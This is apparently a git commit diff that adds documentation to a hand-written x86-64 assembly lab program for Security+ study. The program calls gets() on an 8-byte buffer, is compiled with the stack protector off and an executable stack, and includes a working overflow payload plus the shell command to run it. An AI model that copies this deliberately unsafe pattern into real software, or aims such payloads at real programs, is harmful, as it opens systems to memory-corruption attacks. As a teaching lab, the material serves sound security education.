even more documentation

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bfu4 2022-03-21 21:13:48 -04:00
parent c4fe8fcfd4
commit ccad201e3d
No known key found for this signature in database
GPG Key ID: FD1D952871D22043

89
bof.s

@ -1,27 +1,68 @@
#---------------------------------------------------------------#
.code64 #
#---------------------------------------------------------------#
#
.section .rodata #
money_str: .string "woohoo!! free money\n" #
#
#---------------------------------------------------------------#
.section .text #
.globl _start #
.extern printf #
.extern gets #
#
_get_input: #
push %rbp #
mov %rsp, %rbp #
sub $0x10, %rsp #
lea -0x8(%rbp),%rax #
mov %rax, %rdi #
call gets@plt #
nop # aaaaaaaa\x0\x0\x0\x0\x0\x0\x0\x0\x47\x10\x40
#---------------------------------------------------------------------------------------------------------------#
# description: handwritten program running gets to a buffer of [8] to exemplify a quick and dirty #
# buffer overflow exploit. #
# #
# objectives: SY0-601 1.3, 2.3, 3.2 #
# #
# intended environment: DOCKER - kalilinux/kali-last-release:latest #
# #
# author: bfu #
# file: bof.s #
# binary: bof.elf #
# #
# assembler: GNU Assembler (as or GAS) #
# assemble: as bof.s -o bof.o #
# link: gcc -no-pie -nostartfiles -z execstack -ggdb -fno-stack-protector bof.o -o bof.elf #
# #
#---------------------------------------------------------------#---------------------------------------------- #
.code64 # not required, but specifying we're 64-bit :) #
#---------------------------------------------------------------#-----------------------------------------------#
# ~ read only data ~ #
.section .rodata #-----------------------------------------------#
money_str: .string "woohoo!! free money\n" # this is the string we're going to print on #
# successful exploitation #
#---------------------------------------------------------------#-----------------------------------------------#
.section .text # ~ text section ~ #
#-----------------------------------------------#
.globl _start # make it known that `_start` is global #
#-----------------------------------------------#
.extern printf # (FROM LIBC) #
.extern gets # printf(char*,...), gets(char*) #
#---------------------------------------------------------------#-----------------------------------------------#
_get_input: # #
push %rbp # void _get_input(void) { #
mov %rsp, %rbp # char ptr[8]; #
sub $0x10, %rsp # gets(ptr); #
lea -0x8(%rbp),%rax # return; #
mov %rax, %rdi # } #
call gets@plt # #
#---------------------------------------------------------------#-----------------------------------------------#
# Knowing that the buffer size is 8 and that there are no protections on this binary, we can overflow the #
# buffer to call a function such as `_get_rich_fast`. This is because the stack also contains a saved base #
# pointer (1) to know where to jump back to at the of the function. After inputting the correct amount of #
# any data, for example, the character 'a' to fill the buffer, the stack looks like this: #
# #
# _______________________________________________________________________ #
# | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | a | b | c | d | e | f | #
# |---|---|---|---|---|---|---|---|----|----|----|----|----|----|----|----| #
# | / | / | / | / | / | / | / | / | 61 | 61 | 61 | 61 | 61 | 61 | 61 | 61 | #
# |---|---|---|---|---|---|---|---|----|----|----|----|----|----|----|----| #
# | x | x | x | x | x | x | x | x | 6a | 11 | 40 | 00 | <-- saved bp (1) | #
# |___|___|___|___|___|___|___|___|____|____|____|____|___________________| #
# #
# woohoo more information
#
#
#
#
# Allowing us to craft the final payload: "aaaaaaaa\x0\x0\x0\x0\x0\x0\x0\x0\x47\x10\x40". #
#---------------------------------------------------------------------------------------------------------------#
# Execution: bash -c 'printf "aaaaaaaa\x0\x0\x0\x0\x0\x0\x0\x0\x47\x10\x40" | ./bof.elf' #
#---------------------------------------------------------------#-----------------------------------------------#
nop #
leave #
ret #
#
#---------------------------------------------------------------#-----------------------------------------------#
_get_rich_fast: #
push %rbp #
mov %rsp, %rbp #
@ -31,12 +72,12 @@
pop %rbp #
nop #
ret #
#---------------------------------------------------------------#-----------------------------------------------#
_start: #
push %rbp #
call _get_input #
pop %rbp # TODO: segfault
pop %rsp #
xor %rax, %rax #
mov $1, %al #
mov $0, %rbx #
syscall #